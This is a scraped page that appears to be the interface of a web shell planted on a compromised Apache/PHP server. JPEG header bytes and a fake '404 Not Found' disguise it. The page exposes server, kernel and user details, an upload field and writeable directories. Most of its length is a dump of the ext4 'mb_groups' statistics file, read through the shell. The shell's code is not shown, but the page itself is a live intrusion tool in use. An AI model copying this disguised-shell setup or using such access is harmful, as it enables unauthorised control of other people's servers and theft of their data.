ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /proc/self/root/proc/fs/ext4/vda1/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/proc/fs/ext4/vda1/mb_groups
#group: free  frags first [ 2^0   2^1   2^2   2^3   2^4   2^5   2^6   2^7   2^8   2^9   2^10  2^11  2^12  2^13  ]
#0    : 1391  63    5824  [ 63    8     6     3     3     4     1     2     1     1     0     0     0     0     ]
#1    : 1     1     187   [ 1     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#2    : 596   132   1888  [ 128   0     17    12    15    2     0     0     0     0     0     0     0     0     ]
#3    : 1546  428   3443  [ 418   32    12    13    7     9     0     2     1     0     0     0     0     0     ]
#4    : 688   134   8321  [ 130   75    32    11    2     3     1     0     0     0     0     0     0     0     ]
#5    : 86    5     1112  [ 2     0     1     4     1     1     0     0     0     0     0     0     0     0     ]
#6    : 3     1     13941 [ 1     1     0     0     0     0     0     0     0     0     0     0     0     0     ]
#7    : 1     1     8222  [ 1     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#8    : 45    3     20599 [ 3     1     4     3     0     0     0     0     0     0     0     0     0     0     ]
#9    : 151   11    4096  [ 3     2     2     7     5     0     0     0     0     0     0     0     0     0     ]
#10   : 0     0     744   [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#11   : 1860  17    1392  [ 12    10    17    12    6     3     7     6     1     0     0     0     0     0     ]
#12   : 25    2     16491 [ 3     1     1     0     1     0     0     0     0     0     0     0     0     0     ]
#13   : 179   10    2069  [ 3     2     11    4     0     1     1     0     0     0     0     0     0     0     ]
#14   : 0     0     13780 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#15   : 973   11    2150  [ 3     5     6     5     0     0     0     1     3     0     0     0     0     0     ]
#16   : 806   6     15680 [ 2     2     2     1     3     1     3     2     1     0     0     0     0     0     ]
#17   : 0     0     8     [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#18   : 0     0     536   [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#19   : 0     0     217   [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#20   : 0     0     8193  [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#21   : 0     0     32    [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#22   : 0     0     11956 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#23   : 0     0     18594 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#24   : 0     0     2336  [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#25   : 0     0     1032  [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#26   : 0     0     56    [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#27   : 0     0     320   [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#28   : 0     0     1459  [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#29   : 0     0     640   [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#30   : 0     0     16    [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#31   : 0     0     608   [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#32   : 0     0     10019 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#33   : 0     0     34    [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#34   : 17    2     1020  [ 1     0     0     0     1     0     0     0     0     0     0     0     0     0     ]
#35   : 54    5     6304  [ 0     1     1     2     2     0     0     0     0     0     0     0     0     0     ]
#36   : 0     0     19888 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#37   : 0     0     6064  [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#38   : 17    3     2672  [ 1     4     2     0     0     0     0     0     0     0     0     0     0     0     ]
#39   : 846   136   984   [ 92    51    57    39    5     1     0     0     0     0     0     0     0     0     ]
#40   : 1361  384   20206 [ 369   0     2     29    27    6     2     0     0     0     0     0     0     0     ]
#41   : 0     0     31698 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#42   : 1483  886   768   [ 891   34    9     9     12    7     0     0     0     0     0     0     0     0     ]
#43   : 0     0     26646 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#44   : 2680  62    241   [ 38    9     34    35    12    5     9     6     2     0     0     0     0     0     ]
#45   : 0     0     22512 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#46   : 398   15    16450 [ 14    12    8     11    9     3     0     0     0     0     0     0     0     0     ]
#47   : 202   30    32160 [ 24    1     0     4     3     1     1     0     0     0     0     0     0     0     ]
#48   : 1390  20    7922  [ 12    17    14    11    9     7     5     4     0     0     0     0     0     0     ]
#49   : 4560  290   256   [ 206   11    155   122   85    23    8     1     0     0     0     0     0     0     ]
#50   : 384   32    298   [ 22    19    19    17    7     0     0     0     0     0     0     0     0     0     ]
#51   : 0     0     640   [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#52   : 0     0     32    [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#53   : 0     0     448   [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#54   : 0     0     60    [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#55   : 1349  17    16    [ 7     13    7     11    7     6     14    0     0     0     0     0     0     0     ]
#56   : 3491  93    264   [ 73    65    52    43    27    12    8     9     1     0     0     0     0     0     ]
#57   : 4202  134   51    [ 118   106   86    63    31    21    11    5     2     0     0     0     0     0     ]
#58   : 12123 191   256   [ 183   148   129   93    79    69    46    21    5     0     0     0     0     0     ]
#59   : 10002 479   512   [ 414   378   222   159   83    49    21    15    2     0     0     0     0     0     ]
#60   : 526   8     3529  [ 8     3     4     0     3     4     1     2     0     0     0     0     0     0     ]
#61   : 1222  33    998   [ 16    21    21    17    9     7     3     3     0     0     0     0     0     0     ]
#62   : 7309  92    417   [ 87    83    68    50    39    38    29    17    2     0     0     0     0     0     ]
#63   : 3968  202   16    [ 154   151   108   111   43    21    9     2     0     0     0     0     0     0     ]
#64   : 0     0     32768 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#65   : 0     0     17135 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#66   : 2937  307   3136  [ 269   268   219   95    31    0     0     0     0     0     0     0     0     0     ]
#67   : 8674  519   3460  [ 434   446   393   290   144   30    3     0     0     0     0     0     0     0     ]
#68   : 6955  256   26    [ 201   221   222   168   105   57    9     0     0     0     0     0     0     0     ]
#69   : 19038 690   0     [ 418   398   456   332   192   105   56    12    7     0     0     0     0     0     ]
#70   : 3627  234   192   [ 163   162   151   61    8     12    8     6     1     0     0     0     0     0     ]
#71   : 9663  376   32    [ 251   254   244   63    58    41    33    16    4     0     0     0     0     0     ]
#72   : 11850 173   0     [ 158   140   123   87    67    54    40    24    7     0     0     0     0     0     ]
#73   : 5793  154   2045  [ 141   136   97    78    45    28    17    9     2     0     0     0     0     0     ]
#74   : 8801  119   759   [ 103   93    92    80    51    33    22    17    8     0     0     0     0     0     ]
#75   : 6896  94    0     [ 82    77    75    49    37    28    16    13    7     0     0     0     0     0     ]
#76   : 6412  87    49    [ 70    63    62    48    37    26    17    12    6     0     0     0     0     0     ]
#77   : 6092  82    1296  [ 66    65    58    42    37    24    12    7     9     0     0     0     0     0     ]
#78   : 10726 144   510   [ 132   131   109   83    63    33    26    19    12    0     0     0     0     0     ]
#79   : 9552  128   82    [ 118   101   86    73    49    33    17    16    13    0     0     0     0     0     ]
#80   : 0     0     32768 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#81   : 913   74    17664 [ 43    39    44    25    12    5     1     0     0     0     0     0     0     0     ]
#82   : 0     0     32768 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#83   : 2093  91    0     [ 33    16    45    25    19    10    4     4     1     0     0     0     0     0     ]
#84   : 0     0     32768 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#85   : 11306 456   0     [ 300   147   250   196   113   66    30    12    3     0     0     0     0     0     ]
#86   : 7266  345   0     [ 300   159   98    70    56    36    29    14    0     0     0     0     0     0     ]
#87   : 12257 208   32    [ 173   162   152   126   102   80    39    13    7     0     0     0     0     0     ]
#88   : 11887 160   71    [ 161   131   118   98    54    54    45    27    5     0     0     0     0     0     ]
#89   : 415   15    12555 [ 9     11    12    10    8     2     1     0     0     0     0     0     0     0     ]
#90   : 11757 157   3772  [ 137   146   116   100   77    52    30    23    9     0     0     0     0     0     ]
#91   : 4121  92    0     [ 85    70    68    49    26    18    9     9     2     0     0     0     0     0     ]
#92   : 12507 231   1280  [ 205   189   151   97    75    56    42    20    9     0     0     0     0     0     ]
#93   : 6633  88    324   [ 79    63    71    50    35    28    21    11    6     0     0     0     0     0     ]
#94   : 9007  118   30    [ 99    96    85    65    37    35    18    21    9     0     0     0     0     0     ]
#95   : 3805  50    110   [ 47    37    37    30    24    19    10    7     3     0     0     0     0     0     ]
#96   : 1882  30    4196  [ 18    16    20    15    6     2     1     1     1     0     1     0     0     0     ]
#97   : 0     0     8216  [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#98   : 0     0     21760 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#99   : 0     0     11082 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#100  : 0     0     32768 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#101  : 0     0     4848  [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#102  : 0     0     32768 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#103  : 0     0     32768 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#104  : 0     0     4384  [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#105  : 0     0     7443  [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#106  : 0     0     30104 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#107  : 0     0     5704  [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#108  : 11569 201   0     [ 175   157   156   135   102   62    32    9     10    0     0     0     0     0     ]
#109  : 12081 173   276   [ 157   138   142   127   91    65    30    18    9     0     0     0     0     0     ]
#110  : 9569  127   0     [ 121   102   101   85    66    38    22    15    10    0     0     0     0     0     ]
#111  : 8670  113   71    [ 98    90    88    75    63    37    26    16    6     0     0     0     0     0     ]
#112  : 3614  51    8343  [ 28    27    25    23    25    15    9     4     1     2     0     0     0     0     ]
#113  : 12704 805   704   [ 660   610   464   289   156   58    24    6     0     0     0     0     0     0     ]
#114  : 5501  393   16576 [ 375   251   200   142   80    28    6     1     0     0     0     0     0     0     ]
#115  : 12581 853   0     [ 827   521   476   363   215   57    8     1     0     0     0     0     0     0     ]
#116  : 11818 1979  242   [ 1970  754   381   268   164   50    5     1     0     0     0     0     0     0     ]
#117  : 6126  1354  7     [ 1278  380   124   81    64    26    15    1     0     0     0     0     0     0     ]
#118  : 22912 796   28    [ 766   697   566   467   294   146   48    12    3     0     0     0     0     0     ]
#119  : 27857 653   36    [ 623   581   510   390   263   148   89    29    10    0     0     0     0     0     ]
#120  : 27995 597   63    [ 599   560   467   379   286   155   93    28    9     0     0     0     0     0     ]
#121  : 28379 1238  109   [ 1241  1089  950   767   417   155   45    4     0     0     0     0     0     0     ]
#122  : 26281 630   2999  [ 631   579   509   431   328   162   66    26    4     0     0     0     0     0     ]
#123  : 28594 626   0     [ 610   562   523   444   358   214   93    19    1     0     0     0     0     0     ]
#124  : 27686 807   0     [ 816   703   620   511   389   212   64    12    1     0     0     0     0     0     ]
#125  : 26425 795   168   [ 759   725   600   497   395   174   55    13    3     0     0     0     0     0     ]
#126  : 21016 602   0     [ 612   552   469   398   294   148   39    12    3     0     0     0     0     0     ]
#127  : 25495 781   981   [ 801   687   582   508   376   159   57    11    3     0     0     0     0     0     ]
#128  : 2001  36    9558  [ 23    23    17    13    12    13    8     3     1     0     0     0     0     0     ]
#129  : 3146  201   6240  [ 184   67    41    29    24    12    12    5     1     0     0     0     0     0     ]
#130  : 6646  446   0     [ 336   171   226   177   106   27    7     3     1     0     0     0     0     0     ]
#131  : 20223 720   0     [ 685   637   522   442   298   134   40    8     0     0     0     0     0     0     ]
#132  : 23377 1014  464   [ 1007  885   726   582   333   127   37    6     2     0     0     0     0     0     ]
#133  : 28111 1156  0     [ 1165  979   843   658   438   168   46    4     2     0     0     0     0     0     ]
#134  : 26877 1343  0     [ 1323  1129  890   703   396   127   36    9     1     0     0     0     0     0     ]
#135  : 24838 1108  0     [ 1086  920   742   596   300   125   34    17    4     0     0     0     0     0     ]
#136  : 20529 1216  34    [ 1159  993   808   577   258   85    28    1     3     0     0     0     0     0     ]
#137  : 17620 547   0     [ 556   484   370   295   182   78    49    17    6     0     0     0     0     0     ]
#138  : 16168 600   0     [ 588   508   441   326   165   92    36    10    4     0     0     0     0     0     ]
#139  : 16507 432   221   [ 391   368   307   255   161   100   53    13    5     0     0     0     0     0     ]
#140  : 18602 477   0     [ 458   400   340   288   157   103   57    27    3     0     0     0     0     0     ]
#141  : 18103 313   61    [ 307   260   203   174   136   119   68    31    3     0     0     0     0     0     ]
#142  : 19030 341   11    [ 288   303   208   169   205   108   76    22    6     0     0     0     0     0     ]
#143  : 15207 215   71    [ 213   177   156   128   100   74    57    36    3     0     0     0     0     0     ]
#144  : 5823  75    10375 [ 51    68    37    42    38    28    15    9     4     1     0     0     0     0     ]
#145  : 195   21    3248  [ 7     10    6     4     5     1     0     0     0     0     0     0     0     0     ]
#146  : 29    6     2174  [ 5     4     0     0     1     0     0     0     0     0     0     0     0     0     ]
#147  : 5937  130   2313  [ 87    79    71    78    47    40    21    9     1     0     0     0     0     0     ]
#148  : 14137 187   185   [ 177   178   159   99    87    53    42    32    9     0     0     0     0     0     ]
#149  : 13436 173   1276  [ 156   160   142   123   81    66    27    31    9     0     0     0     0     0     ]
#150  : 11815 149   17    [ 137   135   118   97    63    54    42    27    5     0     0     0     0     0     ]
#151  : 12669 159   450   [ 119   129   93    102   80    57    43    31    5     0     0     0     0     0     ]
#152  : 18136 223   1024  [ 216   194   179   130   110   80    61    41    9     0     0     0     0     0     ]
#153  : 20910 249   84    [ 228   227   205   182   112   89    62    41    16    0     0     0     0     0     ]
#154  : 13921 176   183   [ 157   162   140   126   74    48    41    29    11    0     0     0     0     0     ]
#155  : 18147 215   0     [ 205   195   170   133   86    77    51    46    11    0     0     0     0     0     ]
#156  : 13090 154   201   [ 134   140   123   107   86    51    40    27    9     0     0     0     0     0     ]
#157  : 13737 158   57    [ 139   141   125   98    84    60    47    27    9     0     0     0     0     0     ]
#158  : 14110 184   0     [ 166   162   155   109   78    60    54    25    9     0     0     0     0     0     ]
#159  : 14650 165   2235  [ 140   127   110   107   76    75    46    36    7     0     0     0     0     0     ]
#160  : 5523  63    8312  [ 41    43    35    29    34    18    13    8     4     2     0     0     0     0     ]
#161  : 107   2     176   [ 1     1     0     1     0     1     1     0     0     0     0     0     0     0     ]
#162  : 4428  65    64    [ 26    39    33    26    21    22    20    11    1     0     0     0     0     0     ]
#163  : 16280 214   85    [ 146   59    130   119   105   80    61    42    4     0     0     0     0     0     ]
#164  : 14323 160   26    [ 157   141   121   107   86    71    43    36    6     0     0     0     0     0     ]
#165  : 6557  141   0     [ 117   108   80    68    49    37    29    10    1     0     0     0     0     0     ]
#166  : 5773  180   233   [ 169   160   117   102   50    34    17    6     1     0     0     0     0     0     ]
#167  : 15671 175   128   [ 169   149   141   124   91    75    51    39    6     0     0     0     0     0     ]
#168  : 12411 211   0     [ 219   188   164   101   83    58    40    30    3     0     0     0     0     0     ]
#169  : 13291 259   0     [ 265   183   147   103   79    58    55    34    1     0     0     0     0     0     ]
#170  : 16234 179   40    [ 182   164   133   113   91    79    57    34    9     0     0     0     0     0     ]
#171  : 10245 242   0     [ 207   169   125   100   71    61    31    22    2     0     0     0     0     0     ]
#172  : 10981 235   0     [ 239   207   142   120   76    49    26    24    5     0     0     0     0     0     ]
#173  : 15426 359   67    [ 326   298   242   196   112   68    45    28    6     0     0     0     0     0     ]
#174  : 17233 232   0     [ 227   215   178   151   102   71    56    42    7     0     0     0     0     0     ]
#175  : 16871 186   91    [ 175   156   144   108   92    49    62    44    9     0     0     0     0     0     ]
#176  : 5467  60    7824  [ 45    49    49    35    31    24    14    9     4     1     0     0     0     0     ]
#177  : 0     0     64    [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#178  : 0     0     40    [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#179  : 176   3     64    [ 0     0     0     0     1     1     2     0     0     0     0     0     0     0     ]
#180  : 10503 178   86    [ 165   139   127   94    82    54    44    13    5     0     0     0     0     0     ]
#181  : 18443 200   98    [ 173   161   155   134   96    76    72    42    9     0     0     0     0     0     ]
#182  : 20958 223   0     [ 206   172   164   143   105   111   79    45    10    0     0     0     0     0     ]
#183  : 15130 249   2076  [ 226   210   171   137   106   78    53    26    7     0     0     0     0     0     ]
#184  : 14650 244   0     [ 242   188   152   106   84    65    45    31    9     0     0     0     0     0     ]
#185  : 11133 191   46    [ 179   143   145   95    57    47    44    20    6     0     0     0     0     0     ]
#186  : 10023 251   9     [ 253   177   162   118   91    51    24    15    5     0     0     0     0     0     ]
#187  : 13849 153   56    [ 143   127   117   85    87    57    50    34    6     0     0     0     0     0     ]
#188  : 6686  186   12    [ 146   126   136   72    61    39    26    6     2     0     0     0     0     0     ]
#189  : 14094 172   26    [ 162   132   115   91    74    59    53    31    8     0     0     0     0     0     ]
#190  : 7561  217   1872  [ 221   152   123   84    61    39    21    14    2     0     0     0     0     0     ]
#191  : 5434  178   140   [ 174   146   122   78    55    25    10    8     2     0     0     0     0     0     ]
#192  : 5182  56    7808  [ 46    28    32    27    26    19    16    9     2     2     0     0     0     0     ]
#193  : 7776  188   272   [ 136   138   93    76    61    45    34    10    2     0     0     0     0     0     ]
#194  : 10940 225   32    [ 196   180   156   116   78    53    40    20    3     0     0     0     0     0     ]
#195  : 12587 198   0     [ 197   143   126   100   85    61    41    28    5     0     0     0     0     0     ]
#196  : 16880 329   0     [ 328   200   138   116   87    81    69    37    6     0     0     0     0     0     ]
#197  : 16752 336   8     [ 326   227   169   118   93    68    57    43    6     0     0     0     0     0     ]
#198  : 18434 247   0     [ 214   190   170   123   103   84    71    45    6     0     0     0     0     0     ]
#199  : 10326 138   6144  [ 134   116   96    83    57    46    38    24    4     0     0     0     0     0     ]
#200  : 6624  107   0     [ 94    95    65    40    28    28    17    14    6     0     0     0     0     0     ]
#201  : 6085  128   0     [ 121   106   86    64    38    24    11    16    3     0     0     0     0     0     ]
#202  : 8025  199   4136  [ 189   164   127   97    63    47    24    13    2     0     0     0     0     0     ]
#203  : 7170  228   0     [ 214   180   149   84    77    48    22    5     2     0     0     0     0     0     ]
#204  : 12403 703   0     [ 657   489   320   212   79    38    25    21    4     0     0     0     0     0     ]
#205  : 9570  222   43    [ 218   158   131   86    77    52    33    16    3     0     0     0     0     0     ]
#206  : 8406  210   26    [ 196   167   111   83    47    38    31    16    3     0     0     0     0     0     ]
#207  : 17994 266   300   [ 270   214   160   126   96    75    63    50    5     0     0     0     0     0     ]
#208  : 4025  43    8316  [ 37    30    20    23    17    24    11    5     3     1     0     0     0     0     ]
#209  : 12285 370   952   [ 317   272   234   201   87    56    39    19    3     0     0     0     0     0     ]
#210  : 7373  148   24    [ 115   99    95    91    62    49    31    11    0     0     0     0     0     0     ]
#211  : 3374  77    55    [ 56    5     3     28    26    21    17    7     0     0     0     0     0     0     ]
#212  : 10887 212   55    [ 219   180   143   113   80    52    36    22    3     0     0     0     0     0     ]
#213  : 9043  242   119   [ 219   190   155   104   61    54    33    15    1     0     0     0     0     0     ]
#214  : 8227  143   44    [ 127   108   87    80    57    37    25    17    4     0     0     0     0     0     ]
#215  : 10224 203   60    [ 192   158   137   108   65    57    43    17    2     0     0     0     0     0     ]
#216  : 21862 254   8     [ 214   220   170   138   100   85    74    55    13    0     0     0     0     0     ]
#217  : 7972  195   248   [ 194   169   116   96    64    42    28    8     4     0     0     0     0     0     ]
#218  : 9948  197   7     [ 208   144   125   97    59    44    33    17    6     0     0     0     0     0     ]
#219  : 10007 272   0     [ 273   217   169   104   73    59    28    19    2     0     0     0     0     0     ]
#220  : 11527 283   0     [ 271   190   127   100   84    61    42    20    4     0     0     0     0     0     ]
#221  : 7972  228   21    [ 220   174   141   119   58    49    25    14    0     0     0     0     0     0     ]
#222  : 13904 421   16    [ 414   277   176   125   92    69    54    22    5     0     0     0     0     0     ]
#223  : 10279 218   0     [ 175   168   122   126   77    44    30    25    2     0     0     0     0     0     ]
#224  : 3034  32    7776  [ 26    20    18    12    17    11    4     1     1     1     1     0     0     0     ]
#225  : 9673  263   0     [ 231   197   152   103   56    48    29    20    3     0     0     0     0     0     ]
#226  : 14967 201   72    [ 165   153   142   131   93    46    51    42    5     0     0     0     0     0     ]
#227  : 10321 176   27    [ 167   151   123   98    72    54    37    22    2     0     0     0     0     0     ]
#228  : 9047  341   0     [ 345   225   175   128   88    44    20    13    3     0     0     0     0     0     ]
#229  : 6667  245   19    [ 231   180   137   87    50    44    17    8     2     0     0     0     0     0     ]
#230  : 9125  324   2     [ 309   250   147   90    60    51    33    16    1     0     0     0     0     0     ]
#231  : 16590 341   0     [ 306   266   190   128   87    67    53    41    7     0     0     0     0     0     ]
#232  : 12855 412   0     [ 403   258   194   135   84    59    37    21    7     0     0     0     0     0     ]
#233  : 11056 407   0     [ 398   263   173   126   77    57    40    12    5     0     0     0     0     0     ]
#234  : 9217  105   0     [ 97    80    74    71    52    37    29    17    8     0     0     0     0     0     ]
#235  : 10696 314   59    [ 310   167   111   71    59    49    34    14    10    0     0     0     0     0     ]
#236  : 11813 389   64    [ 357   222   131   95    68    46    34    23    8     0     0     0     0     0     ]
#237  : 9105  138   128   [ 119   115   103   85    45    33    34    17    6     0     0     0     0     0     ]
#238  : 7483  302   280   [ 303   188   131   83    59    34    18    15    2     0     0     0     0     0     ]
#239  : 5884  141   2049  [ 108   90    83    56    45    30    13    14    2     0     0     0     0     0     ]
#240  : 5243  56    7776  [ 51    50    39    31    25    14    16    8     3     2     0     0     0     0     ]
#241  : 10585 314   50    [ 283   207   184   110   69    50    31    14    7     0     0     0     0     0     ]
#242  : 9125  212   63    [ 193   156   137   93    60    59    24    15    4     0     0     0     0     0     ]
#243  : 10175 264   168   [ 253   189   150   104   69    57    33    16    4     0     0     0     0     0     ]
#244  : 10301 495   20    [ 483   237   142   93    82    44    29    17    5     0     0     0     0     0     ]
#245  : 9730  225   0     [ 210   164   132   91    58    49    35    19    3     0     0     0     0     0     ]
#246  : 18192 200   35    [ 186   159   134   116   92    67    57    42    14    0     0     0     0     0     ]
#247  : 18426 192   204   [ 180   157   169   121   96    61    48    32    22    0     0     0     0     0     ]
#248  : 15023 157   79    [ 157   135   109   108   75    52    43    30    15    0     0     0     0     0     ]
#249  : 10932 113   1433  [ 110   101   91    82    78    53    28    20    9     0     0     0     0     0     ]
#250  : 14564 274   0     [ 248   204   153   120   75    58    43    27    12    0     0     0     0     0     ]
#251  : 15273 234   24    [ 183   177   126   101   79    46    47    34    13    0     0     0     0     0     ]
#252  : 7840  221   12    [ 200   170   155   103   64    35    20    13    3     0     0     0     0     0     ]
#253  : 8282  281   0     [ 280   187   123   94    55    40    28    19    0     0     0     0     0     0     ]
#254  : 10433 212   48    [ 177   142   145   98    66    40    32    15    9     0     0     0     0     0     ]
#255  : 12284 260   31    [ 212   220   164   122   81    56    32    24    7     0     0     0     0     0     ]
#256  : 3793  40    3904  [ 41    32    28    25    23    12    7     5     2     2     0     0     0     0     ]
#257  : 5430  151   0     [ 124   107   79    51    37    22    12    4     7     0     0     0     0     0     ]
#258  : 12340 155   52    [ 122   121   102   74    58    42    42    27    10    0     0     0     0     0     ]
#259  : 9202  213   42    [ 176   131   153   95    72    37    23    14    7     0     0     0     0     0     ]
#260  : 12343 293   21    [ 283   222   182   131   73    51    34    22    8     0     0     0     0     0     ]
#261  : 8850  152   12    [ 144   119   99    73    48    34    26    15    8     0     0     0     0     0     ]
#262  : 9236  244   11    [ 216   150   122   69    60    28    21    17    9     0     0     0     0     0     ]
#263  : 6422  316   508   [ 290   208   141   72    50    32    13    9     3     0     0     0     0     0     ]
#264  : 5210  54    4046  [ 44    39    44    32    27    26    19    7     5     0     0     0     0     0     ]
#265  : 1981  21    222   [ 17    16    17    13    16    11    8     3     1     0     0     0     0     0     ]
#266  : 1703  18    2602  [ 17    19    10    11    13    7     5     4     1     0     0     0     0     0     ]
#267  : 4110  43    16384 [ 46    44    38    32    27    20    9     5     5     0     0     0     0     0     ]
#268  : 10141 103   214   [ 97    84    75    69    68    48    26    19    9     0     0     0     0     0     ]
#269  : 13128 133   116   [ 132   104   95    91    80    61    42    23    11    0     0     0     0     0     ]
#270  : 7925  82    989   [ 75    67    57    50    43    44    22    14    7     0     0     0     0     0     ]
#271  : 6370  64    429   [ 64    55    49    42    44    37    25    11    3     0     0     0     0     0     ]
#272  : 2103  22    8659  [ 21    17    14    13    10    8     1     1     1     0     1     0     0     0     ]
#273  : 12067 120   217   [ 121   103   87    88    60    62    29    18    14    0     0     0     0     0     ]
#274  : 3380  34    2042  [ 26    27    29    24    21    19    12    6     2     0     0     0     0     0     ]
#275  : 6427  64    0     [ 61    57    51    46    43    32    22    6     7     0     0     0     0     0     ]
#276  : 7110  69    438   [ 66    56    49    54    46    36    23    9     7     0     0     0     0     0     ]
#277  : 20893 89    435   [ 71    61    65    71    60    61    49    30    17    7     2     0     0     0     ]
#278  : 23977 77    0     [ 87    59    45    47    39    36    31    34    19    12    4     0     0     0     ]
#279  : 26065 97    103   [ 103   83    91    73    67    53    33    26    13    6     10    0     0     0     ]
#280  : 25252 49    752   [ 42    41    36    31    40    29    28    21    17    12    8     0     0     0     ]
#281  : 8862  10    20480 [ 6     8     8     5     6     3     2     6     2     6     4     0     0     0     ]
#282  : 13361 50    0     [ 45    46    38    42    28    34    29    17    10    3     3     0     0     0     ]
#283  : 14751 67    138   [ 67    58    56    53    50    40    29    28    11    5     1     0     0     0     ]
#284  : 14134 72    1254  [ 74    54    50    39    38    31    27    13    13    8     1     0     0     0     ]
#285  : 20677 23    1024  [ 17    18    16    16    13    12    20    9     18    13    6     0     0     0     ]
#286  : 19241 39    0     [ 39    31    27    19    24    20    15    18    15    11    5     0     0     0     ]
#287  : 16367 31    1024  [ 29    23    19    19    16    16    17    11    10    4     8     0     0     0     ]
#288  : 22497 10    7776  [ 13    12    9     9     5     4     10    8     6     7     7     4     0     0     ]
#289  : 4694  12    4096  [ 4     3     7     4     3     5     3     5     4     3     1     0     0     0     ]
#290  : 17561 31    1024  [ 23    21    16    19    22    13    10    14    9     11    6     0     0     0     ]
#291  : 25370 15    0     [ 10    12    10    10    6     9     6     7     8     6     4     1     1     1     ]
#292  : 29203 15    0     [ 19    14    17    18    11    11    12    12    12    11    9     4     0     0     ]
#293  : 27673 7     2048  [ 7     1     4     6     7     5     5     1     5     6     6     6     1     0     ]
#294  : 27293 11    0     [ 7     5     7     8     5     11    10    6     7     10    6     6     0     0     ]
